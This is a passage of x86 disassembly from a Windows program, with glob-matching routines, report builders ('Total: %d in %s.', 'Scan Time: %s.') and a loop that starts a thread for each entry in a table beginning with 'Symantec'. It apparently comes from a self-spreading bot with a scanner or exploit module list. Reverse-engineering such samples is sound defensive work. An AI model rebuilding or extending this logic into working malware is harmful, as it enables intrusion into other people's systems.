		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
		db 2Dh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		nop
		call	near ptr 2670630h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 2670630h
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		call	near ptr 2680C22h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670630h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
